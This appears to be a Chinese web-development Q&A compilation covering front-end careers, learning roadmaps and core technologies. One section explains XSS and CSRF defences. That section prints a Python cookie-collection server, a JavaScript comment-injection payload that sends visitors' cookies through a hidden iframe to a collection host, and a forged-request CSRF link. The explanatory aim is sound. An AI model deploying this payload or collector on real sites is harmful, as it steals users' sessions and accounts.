當前位置:首頁 » 網頁前端 » web前端xss
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

web前端xss

發布時間: 2022-06-19 07:27:53

『壹』 web前端可以做什麼相關工作

1.網頁製作,負責頁面的設計與製作。
2.前端製作工程師,專門負責製作前端頁面。
3.網站重構工程師,負責web頁面的製作,主要是html和css部分,可能還需要知道一些Java語言。
4.前端開發工程師,其Web前端人員的職責范圍也更大一些,他們的Web前端人員不僅要做HTML和CSS,還要做全部的Java或者Action,並且進一步擴展到Ajax甚至PHP等腳本語言的范圍。
5.資深前端開發工程師,需要掌握的技能更多更全面,包含,小程序、app等等。
6.前端架構師等等。

『貳』 web前端開發需要學習什麼知識

第一階段:

HTML+CSS:

HTML進階、CSS進階、div+css布局、HTML+css整站開發、

JavaScript基礎:

Js基礎教程、js內置對象常用方法、常見DOM樹操作大全、ECMAscript、DOM、BOM、定時器和焦點圖。

JS基本特效:

常見特效、例如:tab、導航、整頁滾動、輪播圖、JS製作幻燈片、彈出層、手風琴菜單、瀑布流布局、滾動事件、滾差視圖。

JS高級特徵:

正則表達式、排序演算法、遞歸演算法、閉包、函數節流、作用域鏈、基於距離運動框架、面向對象基礎、

JQuery:基礎使用

懸著器、DOM操作、特效和動畫、方法鏈、拖拽、變形、JQueryUI組件基本使用。

第二階段:

HTML5和移動Web開發

HTML5:

HTML5新語義標簽、HTML5表單、音頻和視頻、離線和本地存儲、SVG、WebSocket、Canvas.

CSS3:

CSS3新選擇器、偽元素、臉色表示法、邊框、陰影、background系列屬性改變、Transition、動畫、景深和深透、3D效果製作、Velocity.js框架、元素進場、出場策略、炫酷CSS3網頁製作。

Bootstrap:

響應式概念、媒體查詢、響應式網站製作、刪格系統、刪格系統原理、Bootstrap常用模板、LESS和SASS。

移動Web開發:

跨終端WEB和主流設備簡介、視口、流式布局、彈性盒子、rem、移動終端JavaScript事件、手機中常見JS效果製作、Zepto.js、手機聚劃算頁面、手機滾屏。

第三階段:

HTTP服務和AJAX編程

WEB伺服器基礎:

伺服器基礎知識、Apache伺服器和其他WEB伺服器介紹、Apache伺服器搭建、HTTP介紹。

PHP基礎:

PHP基礎語法、使用PHP處理簡單的GET或者POST請求、

AJAX上篇:

Ajax簡介和非同步的概念、Ajax框架的封裝、XMLHttpRequest對象詳細介紹方法、兼容性處理方法、Ajax框架的封裝、Ajax中緩存問題、XML介紹和使用。

AJAX下篇:

JSON和JSON解析、數據綁定和模板技術、JSONP、跨域技術、圖片預讀取和lazy-load技術、JQuery框架中的AjaxAPI、使用Ajax實現爆布流案例額。

第四階段:

面向對象進階

面向對象終極篇:

從內存角度到理解JS面向對象、基本類型、復雜類型、原型鏈、ES6中的面向對象、屬性讀寫許可權、設置器、訪問器。

面向對象三大特徵:

繼承性、多態性、封裝性、介面。

設計模式:

面向對象編程思維、單例模式、工廠模式、策略模式、觀察者模式、模板方法模式、代理模式、裝飾者模式、適配器模式、面向切面編程。

第五階段:

封裝一個屬於自己的框架

框架封裝基礎:

事件流、冒泡、捕獲、事件對象、事件框架、選擇框架。

框架封裝中級

運動原理、單物體運動框架、多物體運動框架、運動框架面向對象封裝。

框架封裝高級和補充:

JQuery框架雛形、可擴展性、模塊化、封裝屬於傳智自己的框架。

第六階段:

模塊化組件開發

面向組件編程:

面向組件編程的方式、面向組件編程的實現原理、面向組件編程實戰、基於組件化思想開發網站應用程序。

面向模塊編程

AMD設計規范、CMD設計規范、RequireJS,LoadJS、淘寶的SeaJS。

第七階段:

主流的流行框架

Web開發工作流:

GIT/SVN、Yeoman腳手架、NPM/Bower依賴管理工具、Grunt/Gulp/Webpack。

MVC/MVVM/MVW框架:

Angular.js、Backbone.js、Knockout/Ember。

常用庫:

React.js、Vue.js、Zepto.js。

八階段:

HTML5原生移動應用開發

Cordova:

WebApp/NativeApp/HybirdApp簡介、Cordova簡介、與PhoneGap之間的關系、開發環境搭建、Cordova實戰(創建項目,配置,編譯,調試,部署發布)。

Ionic:

Ionic簡介和同類對比、模板項目解析、常見組件及使用、結合Angular構建APP、常見效果(下拉刷新,上拉載入,側滑導航,選項卡)。

ReactNative:

ReactNative簡介、ReactNative環境配置、創建項目,配置,編譯,調試,部署發布、原生模塊和UI組件、原生常用API。

HTML5+:

HTML5+中國產業聯盟、HTML5PlusRuntime環境、HBuilder開發工具、MUI框架、H5+開發和部署。

第九階段:

Node.js全棧開發:

快速入門:

Node.js發展、生態圈、Io.js、Linux/Windows/OSX環境配置、REPL環境和控制台程序、非同步編程,非阻塞I/O、模塊概念,模塊管理工具、開發流程,調試,測試。

核心模塊和對象:

全局對象global,process,console,util、事件驅動,事件發射器、加密解密,路徑操作,序列化和反序列化、文件流操作、HTTP服務端與客戶端。

Web開發基礎:

HTTP協議,請求響應處理過程、關系型資料庫操作和數據訪問、非關系型資料庫操作和數據訪問、原生的Node.js開發Web應用程序、Web開發工作流、Node.js開發Blog案例。

快速開發框架:

Express簡介+MVC簡介、Express常用API、Express路由模塊、Jade/Ejs模板引擎、使用Express重構Blog案例、Koa等其他常見MVC框架。

希望會給大家帶來幫助!

『叄』 《Web前端黑客技術揭秘》epub下載在線閱讀全文,求百度網盤雲資源

《Web前端黑客技術揭秘》(鍾晨鳴)電子書網盤下載免費在線閱讀

鏈接:

提取碼:WWNF

書名:Web前端黑客技術揭秘

豆瓣評分:7.6

作者:鍾晨鳴/徐少培

出版社:電子工業出版社

出版年:2013-1

頁數:361

內容簡介:

Web前端的黑客攻防技術是一門非常新穎且有趣的黑客技術,主要包含Web前端安全的跨站腳本(XSS)、跨站請求偽造(CSRF)、界面操作劫持這三大類,涉及的知識點涵蓋信任與信任關系、Cookie安全、Flash安全、DOM渲染、字元集、跨域、原生態攻擊、高級釣魚、蠕蟲思想等,這些都是研究前端安全的人必備的知識點。本書作者深入剖析了許多經典的攻防技巧,並給出了許多獨到的安全見解。

本書適合前端工程師閱讀,同時也適合對Web前端各類安全問題或黑客攻防過程充滿好奇的讀者閱讀,書中的內容可以讓讀者重新認識到Web的危險,並知道該如何去保護自己以免受黑客的攻擊。

作者簡介:

鍾晨鳴,畢業於北京化工大學,網名:餘弦。國內著名Web安全團隊xeye成員,除了愛好Web Hacking外,還對宇宙學、人類學等保持著濃厚興趣。2008年加入北京知道創宇信息技術有限公司,現任研究部總監,團隊致力於Web安全與海量數據研究,並進行相關超酷平台的實現。如果大家想和我交流,可以私信我微博:weibo.com/evilcos,同時本書的最新動態也會發布在我的微博上。

徐少培,畢業於河北工業大學。網名:xisigr。國內著名Web安全團隊xeye成員。2008年加入北京天融信公司,現任北京天融信資深安全專家,重點負責安全研究工作,主要研究領域包括:WEB安全、HTML5安全、瀏覽器安全、協議分析等。

『肆』 web前端開發常用又好用的幾個軟體

前端開發是創建Web頁面或app等前端界面呈現給用戶的過程,通過HTML,CSS及JavaScript以及衍生出來的各種技術、框架、解決方案,來實現互聯網產品的用戶界面交互。Web前端的學習起來相對簡單,未來的發展前景也是非常不錯的。

web全棧工程師5.0課程包括:

①計算機基礎以及PS基礎

②前端開發基礎(HTML5開發、JavaScript基礎到高級、jQuery網頁特效、Bootstrap框架)

③移動開發

④前端高級開發(ECMAScript6、Veu.js框架開發、webpack、前端頁面優化、React框架開發、AngularJS 2.0框架開發等)

⑤小程序開發

⑥全棧開發(Mysql資料庫、Python編程語言、Django框架等)

⑦就業拓展(網站SEO與前端安全技術)

互聯網行業目前還是最熱門的行業之一,學習IT技能之後足夠優秀是有機會進入騰訊、阿里、網易等互聯網大廠高薪就業的,發展前景非常好,普通人也可以學習。

想要系統學習,你可以考察對比一下開設有相關專業的熱門學校,好的學校擁有根據當下企業需求自主研發課程的能力,能夠在校期間取得大專或本科學歷,中博軟體學院、南京課工場、南京北大青鳥等開設相關專業的學校都是不錯的,建議實地考察對比一下。

祝你學有所成,望採納。

『伍』 web前端和web安全有聯系嗎

1、web安全主要是針對網站、資料庫這一類的互聯網網站攻擊行為的防禦。

2、前端、後端、資料庫、網路等,與Web安全都有關系

『陸』 常見Web前端技術之間的關系,你了解多少

如果你是一個Web開發初學者,那麼你難免會在網上搜索HTML, CSS, XML, JS(Javascript), DOM, XSL等等這些詞的意思,然而,隨著學習的深入。當你把他們攪在一起,你又糊塗了,你會不停的問,HTML是什麼?CSS是什麼?XML是什麼?JS是什麼?它們到底有什麼用?無論是網路網路,還是一些IT專題網站,又或者一些牛人博客,他們都會告訴你,某個單一的東西是什麼,這類文章很多,但很少有涉及,它們組合起來是什麼,有什麼用。我想,我寫這篇文章,就是為了說明一下這個他們很少涉及的問題。

歸納、總結、提煉能力是我們進步的發動機,這種能力是可以有意識地培養的,拉卡拉電子支付公司董事長兼總裁孫陶然提到:在拉卡拉我們要求用三條說清楚任何問題就是一種能力訓練,任何問題如果不能用三條說清楚說明你還沒想透。

在這里,我爭取用最根本的語言向大家分別說明HTML, CSS, XML, JS到底是什麼,有什麼用。然後我們再來看把他們組合起來是什麼,有什麼用。當然如果你對HTML, CSS, XML, JS有足夠了解,可以直接跳過,看文章的後半部分,那裡才是本文核心所在。

第一部分

1. HTML超文本標記語言 (Hyper Text Markup Language) ,是用來描述網頁的一種標記語言。

<html>
<head>
<title>HTML</title>
</head>
<body>
<p id="num1">Hello World! I'm HTML</p>
</body> </html> 12345678

網頁文件本身是一種文本文件,通過在文本文件中添加標記,可以告訴瀏覽器如何顯示其中的內容(如:文字如何處理,畫面如何安排,圖片如何顯示等)。
HTML之所以稱為超文本標記語言,是因為文本中包含了所謂「超鏈接」點。超文本(Hypertext)是用超鏈接的方法,將各種不同空間的文字信息組織在一起的網狀文本。
概括,HTML就是整合網頁結構和內容顯示的一種語言。

Hello World! I'm HTML1

瀏覽器按順序閱讀網頁文件,然後根據標記符解釋和顯示其標記的內容。
這段內容在瀏覽器上顯示的結果是:Hello World! I』m HTML
我們看

標簽上有一個id,這是

這個標簽的唯一標識,方便別人找到它,對它進行操作。
2. CSS 層疊樣式表單(Cascading StyleSheet)。是將樣式信息與網頁內容分離的一種標記性語言 。作為網站開發者,你能夠為每個HTML元素定義樣式,並將之應用於你希望的任意多的頁面中。如需進行全局的更新,只需簡單地改變樣式,然後網站中的所有元素均會自動地更新。這樣,即設計人員能夠將更多的時間用在設計方面,而不是費力克服HTML的限制。說白了,CSS就是設置網頁上HTML元素屬性的語言。
CSS代碼:

#hello{
color:blue;
} 123

當把這段CSS代碼應用於HTML中,它會找到id為「hello」的HTML標簽,將其中的內容以藍色顯示出來;具體的插入HTML的方法這里不再贅述(說一句,只說明是什麼,有什麼用的問題,不關注技術細節,技術細節網上很好找)。
3. Javascript,首先說明JavaScript和Java無關,JavaScript 是屬於網路的腳本語言!那麼為什麼名字如此相似?這是典型的市場營銷方面的成功,它的推廣成功,也是借了Java的東風。當微軟開始意識到Javascript在Web開發人員中流行起來時,微軟還是一貫風格,建立了自己的腳本語言,JScript。
Javascript是一種基於對象(Object)和事件驅動(Event Driven)並具有安全性能的腳本語言。使用它的目的是與HTML超文本標記語言、Java腳本語言(Java小程序)一起實現在一個Web頁面中鏈接多個對象,與Web客戶交互作用。例如可以設置滑鼠懸停效果,在客戶端驗證表單,創建定製的HTML頁面,顯示警告框,設置cookie等等。
網頁中所有的對數據進行判斷、操作以及向瀏覽者反饋信息的本地代碼實現部分均是Javascript(當然也有其他的),這樣既可以使網頁更具交互性,給用戶提供更令人興奮的體驗,同時減輕了伺服器負擔。
JS的代碼如下:

function jsHello(){
alert('Hello World!');
}123

當把以上代碼應用於HTML代碼,它會在你的HTML載入時,彈出一個內容為「Hello World!」的對話框。同樣,它是通過嵌入或調入在標準的HTML語言中實現的,至於如何嵌入或調入不再贅述,理由上面提到了。
4. Xml可擴展標記語言 (Extensible MarkupLanguage),是一套定義語義標記的規則,這些標記將文檔分成許多部件並對這些部件加以標識。它也是元標記語言,即定義了用於定義其他與特定領域有關的、語義的、結構化的標記語言的句法語言。你可以把XML理解為一種資料庫,例如rss就是xml的一種變體。
XML代碼如下:

<Hello> <bcd>China</bcd> <bcd>USA</bcd> <bcd>UK</bcd> </Hello> 12345

XML的起因是,用戶受到SGML(後面再說)復雜性的挫傷和HTML的不充分。相對HTML來說,XML更追求嚴謹性,如果說你在HTML代碼中標簽比較混亂,如未關閉等,或許瀏覽器會忽略這些錯誤;但同樣的事情發生在XML中會給你帶來大麻煩。
鋪墊終於完了,在進入正題之前,建議大家對比著圖來理解後邊的內容,廢話不多說,開始進入正題。

第二部分


AJAX:非同步JavaScript和XML(AsynchronousJavaScript and XML)。
最後一個東東,它算得上是web2.0思想的心。AJAX=CSS+HTML+JS+XML+DOM+XSLT+XMLHTTP。是指一種創建互動式網頁應用的網頁開發技術。AJAX不是一種單一的新技術,而是有機地利用了一系列相關的技術。
在 2005年,Google 通過其 Google Suggest 使 AJAX 變得流行起來。
Google Suggest 使用 AJAX 創造出動態性極強的 web 界面:當您在谷歌的搜索框輸入關鍵字時,Javascript會把這些字元發送到伺服器,然後伺服器會返回一個搜索建議的列表。
在AJAX中,XmlHttp用來在不改變頁面的情況下傳輸數據,其中傳輸的數據即是XML,然後通過XSLT將其格式化,利用js通過dom對象將其顯示到HTML中,同時利用CSS確定數據的顯示及位置。
這項技術在網路上的應用無處不在,如你的微博,你的郵箱,你的QQ空間,再如搜索引擎,電子商務平台,網路地圖等等

『柒』 web前端開發面臨的挑戰主要是有哪些

平時工作,多數是開發Web項目,由於一般是開發內部使用的業務系統,所以對於安全性一般不是看的很重,基本上由於是內網系統,一般也很少會受到攻擊,但有時候一些系統平台,需要外網也要使用,這種情況下,各方面的安全性就要求比較高了。

1、測試的步驟及內容

這些安全性測試,據了解一般是先收集數據,然後進行相關的滲透測試工作,獲取到網站或者系統的一些敏感數據,從而可能達到控制或者破壞系統的目的。

2、SQL注入漏洞的出現和修復

SQL注入定義:

SQL注入攻擊是黑客對資料庫進行攻擊的常用手段之一。隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由於程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段資料庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。

SQL注入有時候,在地址參數輸入,或者控制項輸入都有可能進行。如在鏈接後加入』號,頁面報錯,並暴露出網站的物理路徑在很多時候,很常見,當然如果關閉了Web.Config的CustomErrors的時候,可能就不會看到。

3、跨站腳本攻擊漏洞出現和修復

跨站腳本攻擊,又稱XSS代碼攻擊,也是一種常見的腳本注入攻擊。例如在界面上,很多輸入框是可以隨意輸入內容的,特別是一些文本編輯框裡面,可以輸入例如這樣的內容,如果在一些首頁出現很多這樣內容,而又不經過處理,那麼頁面就不斷的彈框,更有甚者,在裡面執行一個無限循環的腳本函數,直到頁面耗盡資源為止,類似這樣的攻擊都是很常見的,所以我們如果是在外網或者很有危險的網路上發布程序,一般都需要對這些問題進行修復。

『捌』 如何解決繁瑣的WEB前端的XSS問題

後台做一層過濾,前台文本編輯器可以自己做一層標簽過濾,不允許一些符號的輸入就行了
xss攻擊前端能做的有限
因為好多都是url轉碼來通過參數找漏洞,所以後台也要做一層過濾(例如nodejs的sql庫就只允許單行sql,防止通過xss做注入)java之類的有現成多xss過濾器
剩下的就做ip黑名單吧,防止多次攻擊

『玖』 前端安全方面有沒有了解xss和csrf如何攻防

在那個年代,大家一般用拼接字元串的方式來構造動態 SQL 語句創建應用,於是 SQL 注入成了很流行的攻擊方式。在這個年代, 參數化查詢 已經成了普遍用法,我們已經離 SQL 注入很遠了。但是,歷史同樣悠久的 XSS 和 CSRF 卻沒有遠離我們。由於之前已經對 XSS 很熟悉了,所以我對用戶輸入的數據一直非常小心。如果輸入的時候沒有經過 Tidy 之類的過濾,我一定會在模板輸出時候全部轉義。所以個人感覺,要避免 XSS 也是很容易的,重點是要「小心」。但最近又聽說了另一種跨站攻擊 CSRF ,於是找了些資料了解了一下,並與 XSS 放在一起做個比較。
XSS:腳本中的不速之客
XSS 全稱「跨站腳本」,是注入攻擊的一種。其特點是不對伺服器端造成任何傷害,而是通過一些正常的站內交互途徑,例如發布評論,提交含有 JavaScript 的內容文本。這時伺服器端如果沒有過濾或轉義掉這些腳本,作為內容發布到了頁面上,其他用戶訪問這個頁面的時候就會運行這些腳本。
運行預期之外的腳本帶來的後果有很多中,可能只是簡單的惡作劇——一個關不掉的窗口:
1
2
3

while (true) {
alert("你關不掉我~");
}

也可以是盜號或者其他未授權的操作——我們來模擬一下這個過程,先建立一個用來收集信息的伺服器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站腳本注入的信息收集伺服器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()

然後在某一個頁面的評論中注入這段代碼:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

// 用 <script type="text/javascript"></script> 包起來放在評論中
(function(window, document) {
// 構造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隱藏 iframe 用於通訊
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 開工
document.body.appendChild(hideFrame);
})(window, document);

於是每個訪問到含有該評論的頁面的用戶都會遇到麻煩——他們不知道背後正悄悄的發起了一個請求,是他們所看不到的。而這個請求,會把包含了他們的帳號和其他隱私的信息發送到收集伺服器上。
我們知道 AJAX 技術所使用的 XMLHttpRequest 對象都被瀏覽器做了限制,只能訪問當前域名下的 URL,所謂不能「跨域」問題。這種做法的初衷也是防範 XSS,多多少少都起了一些作用,但不是總是有用,正如上面的注入代碼,用 iframe 也一樣可以達到相同的目的。甚至在願意的情況下,我還能用 iframe 發起 POST 請求。當然,現在一些瀏覽器能夠很智能地分析出部分 XSS 並予以攔截,例如新版的 Firefox、Chrome 都能這么做。但攔截不總是能成功,何況這個世界上還有大量根本不知道什麼是瀏覽器的用戶在用著可怕的 IE6。從原則上將,我們也不應該把事關安全性的責任推脫給瀏覽器,所以防止 XSS 的根本之道還是過濾用戶輸入。用戶輸入總是不可信任的,這點對於 Web 開發者應該是常識。
正如上文所說,如果我們不需要用戶輸入 HTML 而只想讓他們輸入純文本,那麼把所有用戶輸入進行 HTML 轉義輸出是個不錯的做法。似乎很多 Web 開發框架、模版引擎的開發者也發現了這一點,Django 內置模版和 Jinja2 模版總是默認轉義輸出變數的。如果沒有使用它們,我們自己也可以這么做。PHP 可以用 htmlspecialchars 函數,Python 可以導入 cgi 模塊用其中的 cgi.escape 函數。如果使用了某款模版引擎,那麼其必自帶了方便快捷的轉義方式。
真正麻煩的是,在一些場合我們要允許用戶輸入 HTML,又要過濾其中的腳本。Tidy 等 HTML 清理庫可以幫忙,但前提是我們小心地使用。僅僅粗暴地去掉 script 標簽是沒有用的,任何一個合法 HTML 標簽都可以添加 onclick 一類的事件屬性來執行 JavaScript。對於復雜的情況,我個人更傾向於使用簡單的方法處理,簡單的方法就是白名單重新整理。用戶輸入的 HTML 可能擁有很復雜的結構,但我們並不將這些數據直接存入資料庫,而是使用 HTML 解析庫遍歷節點,獲取其中數據(之所以不使用 XML 解析庫是因為 HTML 要求有較強的容錯性)。然後根據用戶原有的標簽屬性,重新構建 HTML 元素樹。構建的過程中,所有的標簽、屬性都只從白名單中拿取。這樣可以確保萬無一失——如果用戶的某種復雜輸入不能為解析器所識別(前面說了 HTML 不同於 XML,要求有很強的容錯性),那麼它不會成為漏網之魚,因為白名單重新整理的策略會直接丟棄掉這些未能識別的部分。最後獲得的新 HTML 元素樹,我們可以拍胸脯保證——所有的標簽、屬性都來自白名單,一定不會遺漏。
現在看來,大多數 Web 開發者都了解 XSS 並知道如何防範,往往大型的 XSS 攻擊(包括前段時間新浪微博的 XSS 注入)都是由於疏漏。我個人建議在使用模版引擎的 Web 項目中,開啟(或不要關閉)類似 Django Template、Jinja2 中「默認轉義」(Auto Escape)的功能。在不需要轉義的場合,我們可以用類似 的方式取消轉義。這種白名單式的做法,有助於降低我們由於疏漏留下 XSS 漏洞的風險。
另外一個風險集中區域,是富 AJAX 類應用(例如豆瓣網的阿爾法城)。這類應用的風險並不集中在 HTTP 的靜態響應內容,所以不是開啟模版自動轉義能就能一勞永逸的。再加上這類應用往往需要跨域,開發者不得不自己打開危險的大門。這種情況下,站點的安全非常 依賴開發者的細心和應用上線前有效的測試。現在亦有不少開源的 XSS 漏洞測試軟體包(似乎有篇文章提到豆瓣網的開發也使用自動化 XSS 測試),但我都沒試用過,故不予評價。不管怎麼說,我認為從用戶輸入的地方把好關總是成本最低而又最有效的做法。
CSRF:冒充用戶之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什麼區別,後來才明白 CSRF 和 XSS 根本是兩個不同維度上的分類。XSS 是實現 CSRF 的諸多途徑中的一條,但絕對不是唯一的一條。一般習慣上把通過 XSS 來實現的 CSRF 稱為 XSRF。
CSRF 的全稱是「跨站請求偽造」,而 XSS 的全稱是「跨站腳本」。看起來有點相似,它們都是屬於跨站攻擊——不攻擊伺服器端而攻擊正常訪問網站的用戶,但前面說了,它們的攻擊類型是不同維度上的分 類。CSRF 顧名思義,是偽造請求,冒充用戶在站內的正常操作。我們知道,絕大多數網站是通過 cookie 等方式辨識用戶身份(包括使用伺服器端 Session 的網站,因為 Session ID 也是大多保存在 cookie 裡面的),再予以授權的。所以要偽造用戶的正常操作,最好的方法是通過 XSS 或鏈接欺騙等途徑,讓用戶在本機(即擁有身份 cookie 的瀏覽器端)發起用戶所不知道的請求。
嚴格意義上來說,CSRF 不能分類為注入攻擊,因為 CSRF 的實現途徑遠遠不止 XSS 注入這一條。通過 XSS 來實現 CSRF 易如反掌,但對於設計不佳的網站,一條正常的鏈接都能造成 CSRF。
例如,一論壇網站的發貼是通過 GET 請求訪問,點擊發貼之後 JS 把發貼內容拼接成目標 URL 並訪問:
http://example.com/bbs/create_post.php?title=標題&content=內容
那麼,我只需要在論壇中發一帖,包含一鏈接:
http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈
只要有用戶點擊了這個鏈接,那麼他們的帳戶就會在不知情的情況下發布了這一帖子。可能這只是個惡作劇,但是既然發貼的請求可以偽造,那麼刪帖、轉帳、改密碼、發郵件全都可以偽造。
如何解決這個問題,我們是否可以效仿上文應對 XSS 的做法呢?過濾用戶輸入, 不允許發布這種含有站內操作 URL 的鏈接。這么做可能會有點用,但阻擋不了 CSRF,因為攻擊者可以通過 QQ 或其他網站把這個鏈接發布上去,為了偽裝可能還使用 bit.ly 壓縮一下網址,這樣點擊到這個鏈接的用戶還是一樣會中招。所以對待 CSRF ,我們的視角需要和對待 XSS 有所區別。CSRF 並不一定要有站內的輸入,因為它並不屬於注入攻擊,而是請求偽造。被偽造的請求可以是任何來源,而非一定是站內。所以我們唯有一條路可行,就是過濾請求的 處理者。
比較頭痛的是,因為請求可以從任何一方發起,而發起請求的方式多種多樣,可以通過 iframe、ajax(這個不能跨域,得先 XSS)、Flash 內部發起請求(總是個大隱患)。由於幾乎沒有徹底杜絕 CSRF 的方式,我們一般的做法,是以各種方式提高攻擊的門檻。
首先可以提高的一個門檻,就是改良站內 API 的設計。對於發布帖子這一類創建資源的操作,應該只接受 POST 請求,而 GET 請求應該只瀏覽而不改變伺服器端資源。當然,最理想的做法是使用 REST 風格 的 API 設計,GET、POST、PUT、DELETE 四種請求方法對應資源的讀取、創建、修改、刪除。現在的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請求方法,我們可以使用 ajax 提交請求(例如通過 jquery-form 插件,我最喜歡的做法),也可以使用隱藏域指定請求方法,然後用 POST 模擬 PUT 和 DELETE (Ruby on Rails 的做法)。這么一來,不同的資源操作區分的非常清楚,我們把問題域縮小到了非 GET 類型的請求上——攻擊者已經不可能通過發布鏈接來偽造請求了,但他們仍可以發布表單,或者在其他站點上使用我們肉眼不可見的表單,在後台用 js 操作,偽造請求。
接下來我們就可以用比較簡單也比較有效的方法來防禦 CSRF,這個方法就是「請求令牌」。讀過《J2EE 核心模式》的同學應該對「同步令牌」應該不會陌生,「請求令牌」和「同步令牌」原理是一樣的,只不過目的不同,後者是為了解決 POST 請求重復提交問題,前者是為了保證收到的請求一定來自預期的頁面。實現方法非常簡單,首先伺服器端要以某種策略生成隨機字元串,作為令牌(token), 保存在 Session 里。然後在發出請求的頁面,把該令牌以隱藏域一類的形式,與其他信息一並發出。在接收請求的頁面,把接收到的信息中的令牌與 Session 中的令牌比較,只有一致的時候才處理請求,否則返回 HTTP 403 拒絕請求或者要求用戶重新登陸驗證身份。
請求令牌雖然使用起來簡單,但並非不可破解,使用不當會增加安全隱患。使用請求令牌來防止 CSRF 有以下幾點要注意:
雖然請求令牌原理和驗證碼有相似之處,但不應該像驗證碼一樣,全局使用一個 Session Key。因為請求令牌的方法在理論上是可破解的,破解方式是解析來源頁面的文本,獲取令牌內容。如果全局使用一個 Session Key,那麼危險系數會上升。原則上來說,每個頁面的請求令牌都應該放在獨立的 Session Key 中。我們在設計伺服器端的時候,可以稍加封裝,編寫一個令牌工具包,將頁面的標識作為 Session 中保存令牌的鍵。
在 ajax 技術應用較多的場合,因為很有請求是 JavaScript 發起的,使用靜態的模版輸出令牌值或多或少有些不方便。但無論如何,請不要提供直接獲取令牌值的 API。這么做無疑是鎖上了大門,卻又把鑰匙放在門口,讓我們的請求令牌退化為同步令牌。
第一點說了請求令牌理論上是可破解的,所以非常重要的場合,應該考慮使用驗證碼(令牌的一種升級,目前來看破解難度極大),或者要求用戶再次輸入密碼(亞馬遜、淘寶的做法)。但這兩種方式用戶體驗都不好,所以需要產品開發者權衡。
無論是普通的請求令牌還是驗證碼,伺服器端驗證過一定記得銷毀。忘記銷毀用過的令牌是個很低級但是殺傷力很大的錯誤。我們學校的選課系統就有這個 問題,驗證碼用完並未銷毀,故只要獲取一次驗證碼圖片,其中的驗證碼可以在多次請求中使用(只要不再次刷新驗證碼圖片),一直用到 Session 超時。這也是為何選課系統加了驗證碼,外掛軟體升級一次之後仍然暢通無阻。
如下也列出一些據說能有效防範 CSRF,其實效果甚微的方式甚至無效的做法。
通過 referer 判定來源頁面:referer 是在 HTTP Request Head 裡面的,也就是由請求的發送者決定的。如果我喜歡,可以給 referer 任何值。當然這個做法並不是毫無作用,起碼可以防小白。但我覺得性價比不如令牌。
過濾所有用戶發布的鏈接:這個是最無效的做法,因為首先攻擊者不一定要從站內發起請求(上面提到過了),而且就算從站內發起請求,途徑也遠遠不知鏈接一條。比如 <img src="./create_post.php" /> 就是個不錯的選擇,還不需要用戶去點擊,只要用戶的瀏覽器會自動載入圖片,就會自動發起請求。 *在請求發起頁面用 alert 彈窗提醒用戶:這個方法看上去能幹擾站外通過 iframe 發起的 CSRF,但攻擊者也可以考慮用 window.alert = function(){}; 把 alert 弄啞,或者乾脆脫離 iframe,使用 Flash 來達到目的。
總體來說,目前防禦 CSRF 的諸多方法還沒幾個能徹底無解的。所以 CSDN 上看到討論 CSRF 的文章,一般都會含有「無恥」二字來形容(另一位有該名號的貌似是 DDOS 攻擊)。作為開發者,我們能做的就是盡量提高破解難度。當破解難度達到一定程度,網站就逼近於絕對安全的位置了(雖然不能到達)。上述請求令牌方法,就我 認為是最有可擴展性的,因為其原理和 CSRF 原理是相剋的。CSRF 難以防禦之處就在於對伺服器端來說,偽造的請求和正常的請求本質上是一致的。而請求令牌的方法,則是揪出這種請求上的唯一區別——來源頁面不同。我們還可 以做進一步的工作,例如讓頁面中 token 的 key 動態化,進一步提高攻擊者的門檻。本文只是我個人認識的一個總結,便不討論過深了。

『拾』 web前端需要掌握的哪些知識

一個合格的web前端需要掌握哪些技術?
最基礎的自然是JavaScript,HTML和css這三種語言。

首先了解下它們到底是什麼。

HTML是用戶看到的網頁的骨架,比如你會發現當前頁面分為左中右三個部分,其中還填充了不同的文字和圖片;每個子部分還會繼續細分,比如當前頁面的中間部分下方有輸入框等等。

CSS是網頁展示的細節控制,比如你會發現有的文字是紅底白色,有的子部分佔了頁面的二分之一寬,有的只佔六分之一,有些部分需要用戶進行某些操作(如點擊,滑動)才會出現等等,這些就是有CSS來控制。

JavaScript是負責捕捉用戶在瀏覽器上的操作,並與後端伺服器進行數據交換的腳本語言。當用戶在前端進行點擊,輸入等操作的時候,會觸動綁定了該動作的JavaScript腳本,然後JavaScript收集數據,調用後端的api介面,再將後端返回的數據交給HTML和CSS渲染出來。

一個網頁的HTML代碼和CSS代碼是可以直接在瀏覽器中查看的,你可以直接按F12,就能看到下圖右側的模塊,左右側紅框就是代碼與實際頁面的對應關系。因此如果你看到某個網站的布局很不錯,不妨點擊F12,進行學習。

前端框架
然而,實際應用中,已經很少有正規的項目組直接用上述三種語言進行web 前端開發了,而是使用很多封裝了這三種語言的框架,比如

Vue.js

,angular,react native等等。它們是來自谷歌和Facebook的大神項目組,基於自己的經驗,封裝了原生前端語言,實現了更多更復雜更酷炫的功能。因此,可以說,學會使用這些框架,能達到事半功倍的效果。

比如用了vue,它是自底向上增量開發的設計,其核心只關心圖層,而且還可以與其他庫或已存項目融合,學習門檻極其友好;另一方面,vue可以驅動單文件組件和vue生態系統支持的庫開發的復雜單頁應用。有了這個生態系統,可以說,vue是處在一個不斷壯大,不斷完善的欣欣向榮的狀態。

